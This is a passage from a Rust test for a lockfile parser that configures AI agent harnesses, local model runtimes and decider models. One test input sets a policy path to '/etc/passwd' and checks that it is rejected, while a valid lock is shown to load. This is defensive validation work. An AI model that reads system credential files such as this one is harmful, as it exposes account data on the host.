            ("[[decider]]\nuse = \"stop\"\nmodel = \"kev\"\n[decider.policy]\npath = \"/etc/passwd\"\ndigest = \"\"\n", "policy path"),
        ] {
            let e = Lockfile::from_str(&format!("{HEAD}{body}")).unwrap_err().to_string();
            assert!(e.contains(field), "{body}: {e}");
        }
        // what real locks hold still loads: instruction names are paths, checked where used
        let ok = format!(
            "{HEAD}[harness]\nname = \"claude-code\"\nversion = \"2.1.0\"\n[[instructions]]\nname = \"~/.claude/CLAUDE.md\"\nscope = \"user\"\n\
             [[runtime]]\nname = \"ollama\"\nlocation = \"local\"\n[[runtime.model]]\nid = \"qwen3:8b\"\nsource = \"ollama:qwen3:8b\"\n\
             [[decider]]\nuse = \"approve\"\nmodel = \"kev:4b\"\nruntime = \"ollama\"\n"
        );
        Lockfile::from_str(&ok).unwrap();
    }
}